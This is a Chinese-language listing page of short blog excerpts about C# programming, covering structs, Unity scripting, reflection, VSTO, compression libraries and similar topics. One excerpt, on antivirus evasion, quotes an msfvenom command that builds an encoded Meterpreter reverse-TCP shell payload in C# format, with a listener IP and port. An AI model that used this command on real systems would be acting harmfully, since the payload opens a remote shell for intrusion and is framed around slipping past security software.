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Csharp
C#(
Csharp
)笔记十七——C# 结构体(Struct)
一丶C#结构体(Struct)在C#中,结构体是值类型数据结构。它使得一个单一变量可以存储各种数据类型的相关数据。struct关键字用于创建结构体。结构体是用来代表一个记录。假设您想跟踪图书馆中书的动态。您可能想跟踪每本书的以下属性:TitleAuthorSubjectBookID二丶定义结构体为了定义一个结构体,您必须使用struct语句。struct语句为程序定义了一个带有多个成员的新的数据类
派大星啦啦啦
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2023-10-12 22:35
C#
c#
开发语言
书《Learning hard C#学习笔记》 第3章 C#语言基础
菜鸟教程是一个学习网站,链接:https://www.runoob.com/
csharp
/
csharp
-struct.html第3章C#语言基础3.1标识符和关键字3.1.1标识符…3.1.2关键字C#
识海拾贝
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2023-10-12 22:33
#
C#
C#
语言基础
C#语言基础学习笔记
0.环境准备0.1简介C#又称”
CSharp
“,是微软发布和维护的一个现代的、通用的、面向对象的编程语言,是专为公共语言基础结构(CLI,由可执行代码合运行时环境组成,允许在不同的计算机平台和体系结构上使用各种高级语言
Eleven ZOU
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2023-10-12 22:00
C#
c#
学习
开发语言
C#(
Csharp
)我的基础教程(二)(我的菜鸟教程笔记)-属性和字段的探究与学习
目录1、字段字段特点:2、属性属性的特点1、字段字段是定义在方法外面的变量,是成员变量,主要是为了类的内部数据交换使用,字段一般是用private修饰,也可以用readonly修饰,表示只读字段,其它修饰符比较少用;字段是用来存储数据的。字段声明格式,[访问修饰符]数据类型字段名[=初始值]如:privatestringphoneName=string.Empty;字段特点:【1】字段一般仅供内部
视觉人机器视觉
·
2023-10-12 22:59
C#
c#
笔记
学习
XLua C#调用Lua的全局变量、table、函数
usingSystem.Collections;usingSystem.Collections.Generic;usingUnityEngine;usingXLua;//自定义委托(多个返回数值的函数)//自定义委托(使用out关键字)[
CSharp
CallLua
Water_tu
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2023-10-12 17:34
unity
Java时间戳转C#时间戳接口
publicstaticlongJavaTimeChangeCSTime(longjavaTime){long
cSharp
Time=0;DateTimetttime=newDateTime(1970,1,1
Yokaihon
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2023-10-12 10:06
c#
java
unity详细解决visualstudio未能找到类型或命明空间名问题
这是由于Assembly-
CSharp
找不到相关的unity程序集的路径而无法引用所造成的,在其引用中就能发现一部分的Unity程序集未能引用得到,见下图所示。
xtner77
·
2023-10-12 06:25
Unity
unity
visualstudio
C#、.NET、CLR的区别和联系
https://learn.microsoft.com/zh-cn/dotnet/
csharp
/tour-of-
csharp
/
reedthink
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2023-10-12 04:36
编程语言
c#
C#(
Csharp
)我的基础教程(四)(我的菜鸟教程笔记)-Windows项目结构分析、UI设计和综合事件应用的探究与学习
目录windows项目是我们.NET学习一开始必备的内容。1、窗体类(主代码文件+窗体设计器后台代码文件)主窗体对象的创建:在Program类里面:Application.Run(newFrmMain());这句代码就决定了,当前窗体是项目的主窗体。也就是作为项目的主线程运行。如果你关闭主窗体,整个项目会退出。特点:继承自Form类。部分类partial关键字。可以将两个同名的类关联起来,其实“这
视觉人机器视觉
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2023-10-12 01:00
C#
c#
笔记
windows
学习
开发语言
视觉检测
C#反射汇总
反射原理和简介我搜了搜,大多数的帖子对于反射的介绍都有过于白话和偏离中心的问题,这里推荐菜鸟教程对于反射的介绍https://www.runoob.com/
csharp
/
csharp
-reflection.htmlC
_Youcai
·
2023-10-11 01:46
Unity ToLua 之 Lua调用C#(一)
XLua相比,ToLua不需要写CS,其余语法格式大致相同使用的类需要在CustomSettings中的customTypeList列表中进行填写,然后重新生成代码publicclassLuaCall
CSharp
帅_shuai_
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2023-10-10 16:44
ToLua
c#
unity
lua
使用线程 Monitor.Wait() 和 Monitor.Pulse()
下面是关于Wait()和Pulse()方法如何运行的例子,WaitAndPulse.cs:Wait()和Pulse()方法仅可以在Enter()和Exit()代码块内部[
csharp
]viewplainco
weixin_30642305
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2023-10-10 07:16
C#泛型集合类介绍之Dictionary
(转载)
作者:txw1958原文:http://www.cnblogs.com/txw1958/archive/2012/11/07/
csharp
-dictionary.html说明必须包含名空间System.Collection.GenericDictionary
weixin_30745641
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2023-10-10 04:44
runtime
Visual Studio2019添加注释模板
第一步通过如下路径找到Class.cs,路径:C:\ProgramFiles(x86)\MicrosoftVisualStudio\2019\Community\Common7\IDE\ItemTemplates\
CSharp
玉珂鸣响
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2023-10-09 12:17
visual
studio
visual
studio
aes加密算法python语言实现_C#, Java, PHP, Python和Javascript几种语言的AES加密解密实现[转载]...
原文:http://outofmemory.cn/code-snippet/35524/AES-with-javascript-java-
csharp
-python-or-phpc#里面的AES加密解密在
weixin_39890814
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2023-10-08 16:09
C#(
Csharp
)我的基础教程(一)(我的菜鸟教程笔记)-构造方法学习与探究
目录核心:构造方法(析构方法)、实例方法/静态方法1、构造方法(Constructor):2、构造方法的重载3、构造方法之间的调用4、静态方法核心:构造方法(析构方法)、实例方法/静态方法1、构造方法(Constructor):构造对象其实就是创建对象。也就是我们在创建对象过程中,需要调用的方法,叫做构造方法。研究构造方法:主要是研究对象是如何初始化的。构造方法默认:当我们编写一个类的时候,如果你
视觉人机器视觉
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2023-10-08 06:20
C#
c#
笔记
学习
开发语言
视觉检测
计算机外设
c# 层级list列表 把子级提到父级一级
您可以使用以下代码将子级提到父级的一级:```
csharp
usingSystem;usingSystem.Collections.Generi
_oP_i
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2023-10-07 22:29
c#
vsto 获取指定列的二维数组是否保护某个字符串
以下代码将遍历指定列的单元格值,并检查是否包含目标字符串:```
csharp
usingSystem;usingExcel=Microsoft.Office.Interop.Excel;privateboolIsStringInColumnArray
_oP_i
·
2023-10-07 22:29
vsto
vsto word 批注信息获取、获取对应批注的唯一标识、批注对应的内容
以下是一些示例代码,演示如何获取Word文档中的批注信息和对应批注的唯一标识:```
csharp
usingMicrosoft.Office.Interop.Word;//创建Word应用程序对象ApplicationwordApp
_oP_i
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2023-10-07 22:29
vsto
Code Project精彩系列(转)
CodeProject精彩系列(转)ApplicationsCraftingaC#formsEditorFromscratchhttp://www.codeproject.com/
csharp
/SharpFormEditorDemo.asp
weixin_30653023
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2023-10-07 16:35
C++这么难,该怎么学?
小编以
CSharp
入门,中途转C++的时候痛苦过一段时间,不过随着业务能力的精进,已经逐渐爱上这门功能强大、灵活的语言了。
Java小飞飞
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2023-10-06 13:43
NPOI與Crystal report 13.0關於I
CSharp
Code.SharpZipLib控件版本衝突的解決方法
公司原來的系統用了Crystalreport13.0,它關聯使用I
CSharp
Code.SharpZipLib.dll(壓縮控件)的版本為0.85.1.271;後來因需要新增加NPOI2.3控件,它關聯使用了
homehome...
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2023-10-06 10:11
基础知识
c#
Unity3d 帧率设置 及在游戏运行时显示帧率
[
csharp
]viewplaincopyApplication.targetFrameRate=-1;
Sigh of Allure
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2023-10-06 10:58
Unity3D
unity3d
垂直同步
C#关机代码
Csharp
判断是否连接网络
C#关机代码
Csharp
判断是否链接网络//////关机///publicstaticvoidShutDownWindows(intsecond){varstartInfo=newProcessStartInfo
星尘库
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2023-10-03 23:20
开发语言
c#
php
开发语言
markdown 代码块(```code)支持的语言列表
actionscript3apacheapplescriptaspbrainfuckccfmclojurecmakecoffee-script,coffeescript,coffeecpp-C++cs
csharp
csscsvbashdiffelixirerb-HTML
海边的贝壳林
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2023-10-02 12:00
[
CSharp
] C#开源大全
商业协作和项目管理平台-TeamLab网络视频会议软件-VMukti驰骋工作流程引擎-ccflow【免费】正则表达式测试工具-Regex-TesterWindows-Phone-7-SDKExcel-读写组件-ExcelLibrary.NET集成开发环境-MonoDevelop电话软交换机-FreeSWITCH开源操作系统-Cosmos坦克机器人战斗仿真引擎-RobocodeGIS控件-MapWi
weixin_30292843
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2023-09-30 15:06
spine-unity整体结构
spine-unity的功能由以下几个组件组成:spine-
csharp
spine-unity...Unity.spine-
csharp
spine-
csharp
是spine运行库使用C#接口的公共核心。
_小圆球_
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2023-09-29 23:15
vs2022修改字段默认样式
privatereadonlystringname;publicMyClass(stringname){this.name=name;}}在有的命名规范中,字段的样式是带下划线的驼峰命名法,如下:```
csharp
classMyClass
港港胡说
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2023-09-29 09:25
ide
visual
studio
.Net 锁的介绍
```
csharp
lock(lockObj
田猿笔记
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2023-09-28 04:44
asp.net文章
.net
core
.net
C#(
CSharp
)入门教程
目录C#的第一个程序变量折叠代码变量类型和声明变量获取变量类型所占内存空间(sizeof)常量转义字符隐式转换显示转换异常捕获运算符算术运算符布尔逻辑运算符关系运算符位运算符其他运算符字符串拼接条件分支语句if...else语句switch语句循环语句while语句dowhile语句(使用较少)for循环(最常用)补充内容随机数C#的第一个程序因为笔者学习过Java,所以个人感觉C#上手起来很快,
渴望力量的土狗
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2023-09-27 16:46
C#(CSharp)
c#
服务器
开发语言
C#(
CSharp
)入门实践项目(简易回合制游戏)
项目名称木木夕营救公主项目介绍这是一个小游戏,你将扮演一个英雄(木木夕),去打败恶龙,拯救出公主,该项目采用回合制战斗模式,由于角色的血量和攻击为随机数,所以需要靠运气才能通关噢!简单需求分析开始界面:控制台输入输出,控制台颜色变化游戏界面:控制台输入输出,控制台颜色变化,回合制战斗(随机数,循环,条件判断)结束界面:控制台输入输出,控制台颜色变化界面间相互切换项目代码(含详细说明)usingSy
渴望力量的土狗
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2023-09-27 16:12
C#(CSharp)
c#
数据库
服务器
C#中实现校验是否包含中文与http接口地址中解析ip和端口号
场景Winform/
CSharp
中实现对Http接口地址、IP地址字符串格式/合法性校验:Winform/
CSharp
中实现对Http接口地址、IP地址字符串格式/合法性校验_c#检查ip格式_霸道流氓气质的博客
霸道流氓气质
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2023-09-26 06:08
C#
c#
http
tcp/ip
使用C#根据Windows API判断窗体是否置顶
```
csharp
usingSystem;usingSystem.Diagnostics;usingSystem.Runtime.InteropServices;classProgram{//
lijingguang
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2023-09-26 06:07
C#
c#
windows
开发语言
CSharp
Library develop histroy
1..NETFRAMEWORK发展版本版本完整版本号发行日期VisualStudioWindows默认安装1.01.0.3705.02002-02-13VisualStudio.NET2002WindowsXPMediaCenterEditionWindowsXPTabletPCEdition1.11.1.4322.5732003-04-24VisualStudio.NET2003WindowsS
Bigshow末日快乐
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2023-09-24 20:53
c#
免杀对抗-C#+go语言-混淆+防反编译+分离
msfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=192.168.206.192LPORT=4444-ex86/shikata_ga_nai-i15-f
csharp
xiaoheizi安全
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2023-09-24 15:03
免杀对抗
golang
网络安全
c#
[Unity插件]InputSystem
创建和设置三.InputActions的参数1.Scheme2.ActionType四.Inputsystem的交互实现1.PlayerInput组件实现交互InvokeUnityEvents实现Invoke
CSharp
Events
Moxi.L
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2023-09-23 21:07
Unity
unity
游戏引擎
MODBUS RTU MASTER的C语言代码
[
csharp
]viewplaincopy这是我几年前写的一个关于MODBUSRTUMASTER的C语言代码,用于嵌入式控制器内。另一个触摸屏MCGS_E作为MODBUSRTUSLAVE。
chuanshaoke
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2023-09-23 16:03
通信及接口
c
语言
button
测试
float
cmd
使用C#实现服务端与客户端的简陋聊天
服务端代码:usingSystem;usingSystem.Net.Sockets;usingSystem.Net;usingSystem.IO;//服务器程序namespace
CSharp
Study_
当下就是最好
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2023-09-23 03:56
c#
服务器
网络
C语言中16进制转字符串&字符串转16进制
C语言的字符串操作并不像java,
Csharp
那样提供直接的方法,简单粗暴。
nicholas_duan
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2023-09-22 16:12
asp.net C#免费反编译工具ILSpy
项目主页https://github.com/i
csharp
code/ILSpy使用方法中文界面使用简单,把你要反编译的dll拖过去就可以了。好使!!!
ITKEY_
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2023-09-22 12:57
C#
c#
开发语言
Unity项目迁移
在Unity进行项目迁移的时候,一般不用迁移Library、Obj、Temp文件夹以及以*.sln,*.
csharp
proj的文件,原因如下:Library:库文件夹,Unity自动生成管理,它不会自动删除
Future_404
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2023-09-21 22:46
Unity引擎
C#
unity
游戏引擎
前端开发学习Rust
学习Rust的理由首先你要确认是不是需要学习Rust,如果你认为Rust性能更好,想替代当前用到的Java,Go,
CSharp
,或你认为学些Rust能找到更好的工作,那你可能不需
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2023-09-21 10:37
rustrust-lang前端
2018-05-25
1.C#与.NET框架的基本知识1.1读作
CSharp
,是微软针对.NET框架下开发应用程序而设计的一种面向对象的编程语言。1.2.NET框架是微软的一个用于创建、部署和运行应用程序的平台环境。
公主抱的抱抱
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2023-09-21 06:23
c#遍历文件重命名
/blog.csdn.net/qq_42607586/article/details/131080456https://www.techiedelight.com/zh/delete-file-in-
csharp
weixin_40938312
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2023-09-21 05:17
c#
开发语言
Unity3d中Application类的学习
```
csharp
Application.Quit();```2.`LoadLevel()`:加载指定的场景。```
csharp
//加载场景名为"GameS
Leoysq
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2023-09-20 04:28
Unity与c#
unity
游戏
使用I
CSharp
Code.SharpZipLib压缩解压
添加引用usingI
CSharp
Code.SharpZipLib.Zip;usingI
CSharp
Code.SharpZipLib.Checksums;压缩解压类publicclassZipHelper
潘达小新
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2023-09-20 03:30
#
c#常用方法
c#
压缩
ICSharpCode
C# 调用 Python (.exe) 程序
程序时免不了有使用第三方库,这里也是调用python程序最容易出错的地方 当然.exe的方式也造成了最大的性能损失下面以终端程序为例核心代码usingSystem.Diagnostics;namespace关于
CSharp
黑夜中的潜行者
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2023-09-19 04:58
C#
python
c#
终端
Unity中的简单数据存储办法
这段代码演示了Unity中的简单数据存储办法当涉及到不同类型的存储时,下面是一些示例代码来演示在Unity中如何使用不同的存储方法:1.临时存储示例代码(内存变量):```
csharp
//定义一个静态变量来存储临时计分
Leoysq
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2023-09-19 00:06
Unity与c#
unity
游戏引擎
如何在C#中使用 CancellationToken 处理异步任务
c#教程https://www.xin3721.com/eschool/
CSharp
xin3721/这篇文章主要介绍了如何在C#中使用CancellationToken处理异步任务,帮助大家更好的理解和学习使用
chinaherolts2008
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2023-09-18 07:42
C#教程
c#
开发语言
后端
解决使用I
Csharp
Code解压缩时候报错Size MisMatch的错误
项目用到了这个组件,然后在解压文件时候报SizeMisMatch错,解决方法:到https://github.com/i
csharp
code/SharpZipLib/releases选择对应的源码下载,
Magicdata大数据
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2023-09-17 10:05
编程开发
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